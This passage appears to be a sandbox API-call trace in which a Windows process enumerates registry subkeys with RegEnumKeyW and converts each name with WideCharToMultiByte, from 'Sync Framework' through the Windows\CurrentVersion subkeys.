[0023.816] RegEnumKeyW (in: hKey=0x24, dwIndex=0x69, lpName=0xddb930, cchName=0x104 | out: lpName="Sync Framework") returned 0x0 [0023.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0023.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0xddc0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sync framework", lpUsedDefaultChar=0x0) returned 14 [0023.816] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6a, lpName=0xddb930, cchName=0x104 | out: lpName="Sysprep") returned 0x0 [0023.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0023.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0xddc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sysprep", lpUsedDefaultChar=0x0) returned 7 [0023.816] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6b, lpName=0xddb930, cchName=0x104 | out: lpName="SystemCertificates") returned 0x0 [0023.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0023.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0xddc0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="systemcertificates", lpUsedDefaultChar=0x0) returned 18 [0023.816] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6c, lpName=0xddb930, cchName=0x104 | out: lpName="TableTextService") returned 0x0 [0023.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0023.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0xddc120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tabletextservice", lpUsedDefaultChar=0x0) returned 16 [0023.816] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6d, lpName=0xddb930, cchName=0x104 | out: lpName="TabletTip") returned 0x0 [0023.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0023.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0xddc0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tablettip", lpUsedDefaultChar=0x0) returned 9 [0023.816] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6e, lpName=0xddb930, cchName=0x104 | out: lpName="Tcpip") returned 0x0 [0023.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0023.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0xddc120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tcpip", lpUsedDefaultChar=0x0) returned 5 [0023.816] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6f, lpName=0xddb930, cchName=0x104 | out: lpName="Terminal Server Client") returned 0x0 [0023.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0023.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0xddc0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="terminal server client", lpUsedDefaultChar=0x0) returned 22 [0023.817] RegEnumKeyW (in: hKey=0x24, dwIndex=0x70, lpName=0xddb930, cchName=0x104 | out: lpName="TermServLicensing") returned 0x0 [0023.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0023.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0xddc120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="termservlicensing", lpUsedDefaultChar=0x0) returned 17 [0023.817] RegEnumKeyW (in: hKey=0x24, dwIndex=0x71, lpName=0xddb930, cchName=0x104 | out: lpName="TIP Shared") returned 0x0 [0023.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0023.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0xddc0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tip shared", lpUsedDefaultChar=0x0) returned 10 [0023.817] RegEnumKeyW (in: hKey=0x24, dwIndex=0x72, lpName=0xddb930, cchName=0x104 | out: lpName="TPG") returned 0x0 [0023.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0023.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0xddc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpg", lpUsedDefaultChar=0x0) returned 3 [0023.817] RegEnumKeyW (in: hKey=0x24, dwIndex=0x73, lpName=0xddb930, cchName=0x104 | out: lpName="Tpm") returned 0x0 [0023.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0023.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0xddc0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpm", lpUsedDefaultChar=0x0) returned 3 [0023.817] RegEnumKeyW (in: hKey=0x24, dwIndex=0x74, lpName=0xddb930, cchName=0x104 | out: lpName="Tracing") returned 0x0 [0023.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0023.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0xddc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tracing", lpUsedDefaultChar=0x0) returned 7 [0023.817] RegEnumKeyW (in: hKey=0x24, dwIndex=0x75, lpName=0xddb930, cchName=0x104 | out: lpName="Transaction Server") returned 0x0 [0023.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0023.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0xddc0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="transaction server", lpUsedDefaultChar=0x0) returned 18 [0023.817] RegEnumKeyW (in: hKey=0x24, dwIndex=0x76, lpName=0xddb930, cchName=0x104 | out: lpName="TV System Services") returned 0x0 [0023.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0023.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0xddc120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tv system services", lpUsedDefaultChar=0x0) returned 18 [0023.818] RegEnumKeyW (in: hKey=0x24, dwIndex=0x77, lpName=0xddb930, cchName=0x104 | out: lpName="uDRM") returned 0x0 [0023.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0023.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0xddc0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="udrm", lpUsedDefaultChar=0x0) returned 4 [0023.818] RegEnumKeyW (in: hKey=0x24, dwIndex=0x78, lpName=0xddb930, cchName=0x104 | out: lpName="Updates") returned 0x0 [0023.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0023.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0xddc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updates", lpUsedDefaultChar=0x0) returned 7 [0023.818] RegEnumKeyW (in: hKey=0x24, dwIndex=0x79, lpName=0xddb930, cchName=0x104 | out: lpName="UPnP Device Host") returned 0x0 [0023.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0023.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0xddc0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="upnp device host", lpUsedDefaultChar=0x0) returned 16 [0023.818] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7a, lpName=0xddb930, cchName=0x104 | out: lpName="VBA") returned 0x0 [0023.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0023.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0xddc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vba", lpUsedDefaultChar=0x0) returned 3 [0023.818] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7b, lpName=0xddb930, cchName=0x104 | out: lpName="Virtual Machine") returned 0x0 [0023.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0023.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0xddc0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="virtual machine", lpUsedDefaultChar=0x0) returned 15 [0023.818] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7c, lpName=0xddb930, cchName=0x104 | out: lpName="VisualStudio") returned 0x0 [0023.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0023.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0xddc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="visualstudio", lpUsedDefaultChar=0x0) returned 12 [0023.818] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7d, lpName=0xddb930, cchName=0x104 | out: lpName="WAB") returned 0x0 [0023.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0023.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0xddc0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wab", lpUsedDefaultChar=0x0) returned 3 [0023.819] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7e, lpName=0xddb930, cchName=0x104 | out: lpName="WBEM") returned 0x0 [0023.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0023.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0xddc120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wbem", lpUsedDefaultChar=0x0) returned 4 [0023.820] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7f, lpName=0xddb930, cchName=0x104 | out: lpName="WIMMount") returned 0x0 [0023.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0023.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0xddc0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wimmount", lpUsedDefaultChar=0x0) returned 8 [0023.820] RegEnumKeyW (in: hKey=0x24, dwIndex=0x80, lpName=0xddb930, cchName=0x104 | out: lpName="Windows") returned 0x0 [0023.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0023.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0xddc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows", lpUsedDefaultChar=0x0) returned 7 [0023.820] RegOpenKeyExW (in: hKey=0x24, lpSubKey="Windows", ulOptions=0x0, samDesired=0x20109, phkResult=0x18f774 | out: phkResult=0x18f774*=0xa0) returned 0x0 [0023.820] RegCloseKey (hKey=0x24) returned 0x0 [0023.820] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0xddb930, cchName=0x104 | out: lpName="CurrentVersion") returned 0x0 [0023.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0023.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0xddc0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentversion", lpUsedDefaultChar=0x0) returned 14 [0023.820] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="CurrentVersion", ulOptions=0x0, samDesired=0x20109, phkResult=0x18f774 | out: phkResult=0x18f774*=0x24) returned 0x0 [0023.820] RegCloseKey (hKey=0xa0) returned 0x0 [0023.820] RegEnumKeyW (in: hKey=0x24, dwIndex=0x0, lpName=0xddb930, cchName=0x104 | out: lpName="App Management") returned 0x0 [0023.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0023.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0xddc120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app management", lpUsedDefaultChar=0x0) returned 14 [0023.821] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1, lpName=0xddb930, cchName=0x104 | out: lpName="App Paths") returned 0x0 [0023.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0023.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0xddc0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app paths", lpUsedDefaultChar=0x0) returned 9 [0023.821] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2, lpName=0xddb930, cchName=0x104 | out: lpName="Applets") returned 0x0 [0023.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0023.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0xddc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="applets", lpUsedDefaultChar=0x0) returned 7 [0023.821] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3, lpName=0xddb930, cchName=0x104 | out: lpName="Audio") returned 0x0 [0023.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0023.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0xddc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audio", lpUsedDefaultChar=0x0) returned 5 [0023.821] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4, lpName=0xddb930, cchName=0x104 | out: lpName="Authentication") returned 0x0 [0023.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0023.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0xddc120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="authentication", lpUsedDefaultChar=0x0) returned 14 [0023.821] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5, lpName=0xddb930, cchName=0x104 | out: lpName="BitLocker") returned 0x0 [0023.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0023.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0xddc0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bitlocker", lpUsedDefaultChar=0x0) returned 9 [0023.821] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6, lpName=0xddb930, cchName=0x104 | out: lpName="BITS") returned 0x0 [0023.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0023.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0xddc120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0023.821] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7, lpName=0xddb930, cchName=0x104 | out: lpName="Component Based Servicing") returned 0x0 [0023.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0023.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0xddc0d8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="component based servicing", lpUsedDefaultChar=0x0) returned 25 [0023.822] RegEnumKeyW (in: hKey=0x24, dwIndex=0x8, lpName=0xddb930, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0023.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0023.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0xddc120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control panel", lpUsedDefaultChar=0x0) returned 13 [0023.822] RegEnumKeyW (in: hKey=0x24, dwIndex=0x9, lpName=0xddb930, cchName=0x104 | out: lpName="Controls Folder") returned 0x0 [0023.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0023.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0xddc0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controls folder", lpUsedDefaultChar=0x0) returned 15 [0023.822] RegEnumKeyW (in: hKey=0x24, dwIndex=0xa, lpName=0xddb930, cchName=0x104 | out: lpName="DateTime") returned 0x0 [0023.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0023.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0xddc120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datetime", lpUsedDefaultChar=0x0) returned 8 [0023.822] RegEnumKeyW (in: hKey=0x24, dwIndex=0xb, lpName=0xddb930, cchName=0x104 | out: lpName="Device Installer") returned 0x0 [0023.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0023.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0xddc0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device installer", lpUsedDefaultChar=0x0) returned 16 [0023.822] RegEnumKeyW (in: hKey=0x24, dwIndex=0xc, lpName=0xddb930, cchName=0x104 | out: lpName="Device Metadata") returned 0x0 [0023.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0023.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0xddc120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device metadata", lpUsedDefaultChar=0x0) returned 15 [0023.822] RegEnumKeyW (in: hKey=0x24, dwIndex=0xd, lpName=0xddb930, cchName=0x104 | out: lpName="Diagnostics") returned 0x0 [0023.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0023.822] WideCharToMultiByte (in: CodePage=0x0, 